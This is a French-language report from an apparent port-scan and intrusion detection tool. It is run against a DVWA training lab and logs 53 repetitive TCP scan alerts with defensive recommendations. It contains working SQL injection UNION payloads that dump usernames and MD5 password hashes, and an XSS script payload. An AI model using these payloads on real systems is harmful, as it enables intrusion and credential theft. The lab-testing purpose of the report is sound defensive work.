

=====

RAPPORT DE DÉTECTION DE SCAN DE PORTS

=====

[DATE] Date de génération: 2025-06-17 12:29:31

[TEMPS] Durée d'analyse: 3.73 secondes

[CONFIG] Configuration Scan: 100 paquets SYN, 1000 paquets UDP, 100 ports en 60s

[CONFIG] Configuration Force Brute: 100 requêtes en 10s (principal), 10 SSH, 15 FTP, 50 HTTP

[SCAN] RÉSULTAT DU SCAN DE PORTS EXTERNE

Cible: 143.110.170.33

Ports scannés: 8344

Ports ouverts (3): 22, 80, 8081

[TEST] TESTS DVWA (SQLi + XSS)

Cible: 143.110.170.33

SQLi:

- URL: http://143.110.170.33/DVWA/vulnerabilities/sqli/
- Colonnes détectées: 2
- Payloads testés: 3
- Succès: 3
- Payloads réussis (3):

PAYLOAD:

6' UNION SELECT 1,1 -- -

RÉPONSE:

ID: 6' UNION SELECT 1,1 -- -
First name: 1
Surname: 1

PAYLOAD:

6' UNION SELECT database(),NULL -- -

RÉPONSE:

ID: 6' UNION SELECT database(),NULL -- -
First name: dvwa
Surname:

PAYLOAD:

6' UNION SELECT user,password FROM users -- -

RÉPONSE:

ID: 6' UNION SELECT user,password FROM users -- -
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 6' UNION SELECT user,password FROM users -- -
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 6' UNION SELECT user,password FROM users -- -
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 6' UNION SELECT user,password FROM users -- -
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 6' UNION SELECT user,password FROM users -- -
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

XSS: Succès

Payloads injectés avec succès:

* <script>alert('XSS')</script>

[ALERTE] ATTAQUES DÉTECTÉES!

[STATS] Nombre total d'alertes: 53

[IP] IPs sources uniques: 1

[TCP] SCANS DE PORTS:

- Scans TCP: 53
- Scans UDP: 0
- Total: 53

[ATTAQUANT] ATTAQUANT: 203.0.113.100

[TCP] SCANS TCP (53 alertes):

1. 2025-06-17T12:29:31
Ports scannés: 8 ports
Échantillon: 21, 22, 23, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 100
2. 2025-06-17T12:29:31
Ports scannés: 8 ports
Échantillon: 21, 22, 23, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 101
3. 2025-06-17T12:29:31
Ports scannés: 8 ports
Échantillon: 21, 22, 23, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 102
4. 2025-06-17T12:29:31
Ports scannés: 8 ports
Échantillon: 21, 22, 23, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 103
5. 2025-06-17T12:29:31
Ports scannés: 8 ports
Échantillon: 21, 22, 23, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 104
6. 2025-06-17T12:29:31
Ports scannés: 8 ports
Échantillon: 21, 22, 23, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 105

7. 2025-06-17T12:29:31
Ports scannés: 8 ports
Échantillon: 21, 22, 23, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 106
8. 2025-06-17T12:29:31
Ports scannés: 8 ports
Échantillon: 21, 22, 23, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 107
9. 2025-06-17T12:29:31
Ports scannés: 8 ports
Échantillon: 21, 22, 23, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 108
10. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 109
11. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 110
12. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 111
13. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 112
14. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 113
15. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 114

16. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 115
17. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 116
18. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 117
19. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 118
20. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 119
21. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 120
22. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 121
23. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 122
24. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 123

25. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 124
26. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 125
27. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 126
28. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 127
29. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 128
30. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.00s
Paquets SYN: 129
31. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.01s
Paquets SYN: 130
32. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.01s
Paquets SYN: 131
33. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.01s
Paquets SYN: 132

34. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.01s
Paquets SYN: 133
35. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.01s
Paquets SYN: 134
36. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.01s
Paquets SYN: 135
37. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.01s
Paquets SYN: 136
38. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.01s
Paquets SYN: 137
39. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.01s
Paquets SYN: 138
40. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.01s
Paquets SYN: 139
41. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.01s
Paquets SYN: 140
42. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.01s
Paquets SYN: 141

43. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.01s
Paquets SYN: 142
44. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.01s
Paquets SYN: 143
45. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.01s
Paquets SYN: 144
46. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.01s
Paquets SYN: 145
47. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.01s
Paquets SYN: 146
48. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.01s
Paquets SYN: 147
49. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.01s
Paquets SYN: 148
50. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.01s
Paquets SYN: 149
51. 2025-06-17T12:29:31
Ports scannés: 9 ports
Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389
Durée: 0.01s
Paquets SYN: 150

52. 2025-06-17T12:29:31

Ports scannés: 9 ports

Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389

Durée: 0.01s

Paquets SYN: 151

53. 2025-06-17T12:29:31

Ports scannés: 9 ports

Échantillon: 21, 22, 23, 25, 80, 110, 143, 443, 3389

Durée: 0.01s

Paquets SYN: 152

=====

[CONSEIL] RECOMMANDATIONS DE SÉCURITÉ

=====

[SECURISE] Actions immédiates:

- Bloquer les adresses IP malveillantes dans le pare-feu
- Surveiller les logs système pour d'autres activités suspectes
- Vérifier l'intégrité des comptes utilisateurs

[TCP] Pour les scans de ports:

- Activer la protection contre les scans de ports
- Configurer des règles de limitation de débit (rate limiting)
- Masquer les services non nécessaires

[PROTECTION] Mesures préventives:

- Déployer un système IDS/IPS
- Mettre à jour les règles de sécurité réseau
- Programmer des analyses de sécurité régulières
- Former le personnel sur les bonnes pratiques de sécurité

=====

Fin du rapport

=====